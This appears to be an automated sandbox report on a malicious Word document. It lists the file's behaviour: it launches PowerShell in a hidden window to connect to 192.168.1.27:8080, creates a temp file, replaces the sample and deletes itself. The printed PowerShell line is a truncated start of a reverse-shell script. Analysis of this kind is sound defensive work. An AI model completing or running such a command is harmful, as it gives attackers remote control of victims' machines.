Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "function cleanup {if ($client.Connected -eq $true) {$client.Close()}; if ($process.ExitCode -ne $null) {$process.Close()}; exit;};$address = '192.168.1.27';$port = '8080';$client = New-O...
Modifies file system
Creates the following files
- <Current directory>\~wrd0000.tmp
Modifies the following files
Substitutes the following files
- <PATH_SAMPLE>.doc
Deletes itself.
Network activity
Connects to
- '<LOCALNET>.1.27':8080
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "function cleanup {if ($client.Connected -eq $true) {$client.Close()}; if ($process.ExitCode -ne $null) {$process.Close()}; exit;};$address = '192.168.1.27';$port = '8080';$client = New-O...' (with hidden window)
Executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe'
